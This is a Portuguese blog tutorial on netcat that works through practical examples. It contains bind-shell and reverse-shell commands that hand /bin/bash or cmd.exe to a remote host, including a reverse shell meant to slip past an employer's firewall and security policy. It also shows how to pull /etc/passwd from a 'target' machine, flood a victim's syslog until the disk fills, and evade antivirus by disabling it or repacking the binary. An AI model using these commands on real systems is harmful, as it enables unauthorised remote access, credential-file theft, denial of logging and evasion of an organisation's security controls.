O NetCat é uma ferramenta que serve para ler e escrever dados através de uma conexão de rede usando o protocolo TCP ou enviando/recebendo dados usando o protocolo UDP. Esta ferramenta é indispensável, considerada o canivete suíço dos hackers, com uma infinidade de possibilidades na sua utilização. Todos os antivírus detectam a presença do netcat como uma ameaça, porque o mesmo pode ser utilizado para fins maliciosos. Se você for realizar seus testes em uma máquina Windows você tem 3 saídas: desabilite o antivírus, coloque o netcat na whitelist do seu antivírus ou “limpe” o netcat com o Petite.
Este post vai ser bem direto, sem rodeios e mostrar na prática como você pode utilizar o netcat. Como foi dito antes o netcat é muito poderoso não se limite apenas naquilo que irei mostrar aqui.
Linha de Comando
A linha de comando básico para conexão em outro host:
#nc [opção] host porta
Onde o host pode ser o nome ou IP da maquina e porta é a porta de comunicação onde pode ser uma simples porta, uma “range” (22-80) ou portas individuais separadas por espaço (22 23 80).
Linha de comando para receber conexões:
#nc -l -p port
Onde a opção –l habilita o modo de ESCUTA e –p especifica a porta.
Pense no nc (netcat) como uma ferramenta que tem o poder de criar uma conexão cliente/servidor. Você pode usar o nc para conectar em outros serviços ou usar em uma ponta o nc como servidor e na outra como cliente.
Faça o download do NetCat no link abaixo:
Agora só é descompactar o arquivo, dentro da pasta descompactada você ira encontrar um executável do netcat e o código fonte caso você queira compilar.
Se você utiliza Linux tenha certeza que já tem o pacote no repositório da sua distribuição.
Se você executar o nc sem parâmetro ele entra em modo interativo:
#nc
Cmd line:
Na maioria dos casos você não utiliza o modo interativo, por este motivo não irei abordar este modo.
Para ver as opções do nc execute o comando abaixo:
#nc -h
[v1.10-38]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-k set keepalive option on socket
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-T tos set Type Of Service
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
Entendendo Algumas Opções
-d = essa opção não funciona no Windows, coloca o nc em modo invisível, como se fosse um “daemon”
-e = assim que a conexão é estabelecida o é executado, muito usado para criar “backdoor”
-g = especifica os pulos que o pacote ira percorrer para chegar até o destino, ótimo para passar por firewall e esconder a sua rede
-G = você escolhe o próximo pulo da sua lista-rotas
-l = modo de escuta, deve ser usado junto com -p para especificar em que porta escutar
-L = modo de escuta (listen), não funciona no Windows, a diferença é que se uma conexão for fechada o -L força o nc a entrar no modo de escuta de novo
Prática
1) O comando abaixo permite escutar (-L) na porta (-p) 4455 onde um programa vai ser executado (-e) assim que a conexão for estabelecida. Este comando se executa na máquina que você quer se conectar a ela.
A linha de comando abaixo tem que ser executada em uma máquina Windows e assim que a conexão for estabelecida a shell cmd.exe será executada, pense neste cenário como uma conexão remota.
C:\>nc -L -d -p 4455 -e cmd.exe
Obs: se você deseja se conectar em uma máquina Linux substitua o comando acima pelo comando: #nc –d –l –p 4455 –e /bin/bash
Agora da máquina remota é só executar o comando abaixo:
C:\>nc IP_DESTINO 4455
obs: do lado do cliente você pode esta em uma máquina rodando qualquer sistema operacional que suporte o nc.
A figura abaixo mostra este cenário:
2) Scaneando
A opção -z diz para o nc mandar uma quantidade mínima de dados, o suficiente para analisar a atividade da porta, neste caso as portas 20 e 80.
C:\>nc -v -z www.google.com 20 80
Veja abaixo a saída do comando acima:
obs: o nc não é uma ferramenta própria para fazer scan, para isso use o Nmap.
3) Descobrindo a versão do serviço
O nc não é ideal para você realizar scan, isso já sabemos, mas não se esqueça que ele é um canivete suíço.
Com o comando abaixo vamos conectar na porta 80 do www.google.com e enviar alguns comandos que o protocolo HTTP entenda:
GET / HTTP
Veja a figura abaixo:
Com o comando acima conseguimos conversar um pouco de HTTP com o servidor WEB e como resposta temos a versão do servidor (Server: GFE/2.0).
Veja abaixo como automatizar esta tarefa:
C:\>echo QUIT | nc www.google.com 80
Você também poderá especificar duas portas:
C:\>echo QUIT | nc www.google.com 80 22
Obs: nem todo serviço entende o comando QUIT, por isso em alguns serviços esta linha de comando não vai retornar nada.
Com o comando abaixo vamos automatizar nossa tarefa e pegar só o que nos interessa:
#echo -e "GET / HTTP 1.0\r\n" | nc www.google.com 80 | egrep '^Server:'
Veja a figura:
Obs: este comando foi adaptado para rodar no Linux
4) Mensagens no Log
Se você conhece algum servidor de log que fique escutando na porta 514 é só encher os logs de mensagem, se o serviço estiver mal configurado ou se a máquina tiver um HD com capacidade de armazenamento baixa, hoje em dia isso não acontece, isso poderá travar o sistema de log ou impossibilitar o registro de novos logs porque o HD estará cheio. Abaixo segue os dois comandos que iremos usar:
yes "Mensagem aqui" | nc -u VitimaIP 514
echo "Mensagem aqui" | nc -u VitimaIP 514
obs: a diferença do “yes” para o “echo” é que o yes vai continuar executando o comando até que alguém execute o famoso control+c.
Toda máquina Linux já vem com um sistema de log instalado, no meu caso estou usando o Ubuntu e ele veio com o syslogd já instalado e configurado. Por padrão ele registra os eventos locais da máquina e não aceita registros de máquinas remotas. Para fazer com que ele aceite conexão remota siga os passos abaixo:
#vim /etc/default/syslogd
Modifique a linha:
SYSLOGD=""
Para:
SYSLOGD="-r"
Salve, feche o arquivo e “reinicie” o serviço com o comando abaixo:
#/etc/init.d/sysklogd restart
Execute o comando abaixo e veja que o serviço syslogd esta escutando na porta 514:
Agora podemos começar nossos testes. Com o comando abaixo vamos deixar uma mensagem no servidor de log:
C:\Users\Zoi\Desktop\nc>echo "NOSSO PRIMEIRO TESTE REMOTO COM O SERVIDOR DE LOG" | nc -u 10.1.4.249 514
Veja na figura abaixo que apareceu o nome netbios da máquina que disparou o ataque (osvaldo-pc.local) e que a mensagem foi registrada:
Vamos enviar várias mensagens sem parar para o servidor de log, primeiro vamos ver o tamanho do arquivo syslogd, veja a figura abaixo:
O tamanho do arquivo é 6,8 MB. Vamos ver que tamanho ele ficara depois de enviar nossa mensagem, veja a figura abaixo:
Executando o comando da segunda janela por 1 min o arquivo de log passou de 6,8 MB para 43 MB. Imagina se você trocar a mensagem “VAMOS ENCHER ESSE LOG” por “VAMOS ENCHER ESSE LOG VAMOS ENCHER ESSE LOG VAMOS ENCHER ESSE LOG VAMOS ENCHER ESSE LOG VAMOS ENCHER ESSE LOG”, já imaginou?
Obs: o comando “yes” só vai funcionar em ambientes Linux.
5) Criando um Datapipe
Imagine que você queira copiar um arquivo de uma máquina para outra, temos a máquina ALVO onde esta o arquivo que queremos copiar (/etc/passwd) e temos a máquina para onde queremos copiar o arquivo.
Na máquina ALVO execute o comando abaixo:
#nc -l -u -p 55555 < /etc/passwd (maquina ALVO - linux)
C:\>nc -u ALVO_IP 55555 > saida_do_arquivo.txt (maquina para onde vou copiar o arquivo - Windows)
Veja a figura abaixo:
6) Pegando a saída de um programa
Imagine que você criou um script que tem como finalidade executar os comando w e netstat, porém você não quer ter que acessar a máquina só para executar seu script. Com o nc você pode direcionar a saída do seu script para uma máquina remota. Com a opção –e apontamos para o script que criamos. Vamos criar um arquivo com o nome script.sh:
#vim script.sh
#!/bin/bash
echo "saida do comando: w -l"
w -l
echo
echo
echo
echo "saida do comando: netstat -ant"
netstat –ant
Salve, feche o arquivo e mude as permissões do arquivo:
#chmod +x script.sh
Na máquina (linux) onde esta o script execute o comando abaixo:
#nc -l -u -p 55555 -e script.sh
Para você ver a saída do script execute o comando abaixo da máquina remota (Windows):
C:\nc>nc -u 10.1.4.249 55555 > script_saida.txt
Veja a figura abaixo:
Também é possível fazer o reverso, observe os comandos abaixo para isso:
Execute este comando na máquina para onde a saída do script vai ser copiada
C:\nc>nc –l -u –p 55555 > script_saida.txt
Este comando deverá ser executado onde esta o seu script
#nc –u –e script.sh IP_MAQUINA_SAIDA_SCRIPT 55555
7) Conexão TCP Reversa
Imagine que você esta em casa e precisa acessar o seu computador que esta na rede interna da empresa. As empresas podem permitir isso disponibilizando acesso VPN e criando NAT. O problema de tudo isso é a burocracia e dependendo da política de segurança da empresa você não seja liberado para fazer isso. Vamos ver o que podemos fazer com o nc neste caso.
O cenário é este:
SUA MAQUINA NA EMPRESA <--------> FIREWALL EMPRESA <--------> MAQUINA VELOZ
SUA MAQUINA NA EMPRESA: sua máquina de trabalho na empresa
FIREWALL EMPRESA: firewall da empresa
MAQUINA VELOZ: sua conexão de casa com a Internet
Você não pode da sua casa tentar se conectar no seu computador dentro da empresa se não houver NAT ou VPN. Neste caso temos que fazer uma conexão reversa, nossa MAQUINA VELOZ vai ESCUTAR na porta 80 e o controle de I/O da Shell /etc/bash será enviado através desta conexão assim que a máquina de dentro da empresa se conectar nesta porta.
Execute este comando na MAQUINA VELOZ:
C:\Users\Zoi\Desktop\nc>nc -l -p 55555
Antes de você sair do seu trabalho execute o comando:
#nc -e /bin/bash IP_MAQUINA_VELOZ 55555
Veja a figura abaixo:
Obs: se o firewall da sua empresa permite apenas acesso a serviços WEB, porta 80, execute os comandos mudando de porta 55555 para 80.
Essa dica abaixo peguei da Internet, ctrl+c + ctrl+v.
8) Executando comandos pelo NetCat
server.sh (run by you) ----> vai fazer um loop para deixar o serviço sempre ativo
#!/bin/bash
while true; do
netcat -l -p 55555 -e protocol.sh
done
exit 0
Mude as permissões do arquivo server.sh (chmod +x Server.sh) e execute o script:
#./server.sh
protocol.sh (run by netcat line in server.sh) -----> implementação dos comandos que o server.sh vai reconhecer e executar
#!/bin/bash
read command
case "$command" in
"WOL")
echo "doing WOL"
;;
*)
#do nothing
;;
esac
Mude as permissões com o comando chmod, mas não precisa executá-lo.
Toda vez que você se conectar neste IP pela porta 55555, a I/O do script protocol.sh passara pelo netcat. Atualmente somente um comando esta implementado (WOL) que retornará como saída “doing WOL” .
Para testar vamos nos conectar usando o comando abaixo:
C:\Users\Zoi\Desktop\nc>nc 10.1.4.249 55555
Depois de conectado só é preciso executar os comando que o resultado será mostrado na janela, como mostra a figura abaixo:
Se na máquina cliente você estiver usando o Linux é só executar o comando abaixo:
#echo "WOL" |netcat 10.1.4.249 55555
O NetCat é uma ferramenta muito poderosa, o que foi mostrado aqui é apenas uma introdução do que pode ser feito com o netcat. Vários exploits e injection tem sido usado com o netcat. Para maiores informações para compilação e uso da ferramenta veja os arquivos hobbit.txt e readme.txt que vieram junto com o netcat. Se você estiver interessado em criar conexões seguras com o netcat procure pelo CRYPTCAT, que é uma versão do netcat que utiliza conexões encriptadas.
By Osvaldo H Peixoto
Nenhum comentário:
Postar um comentário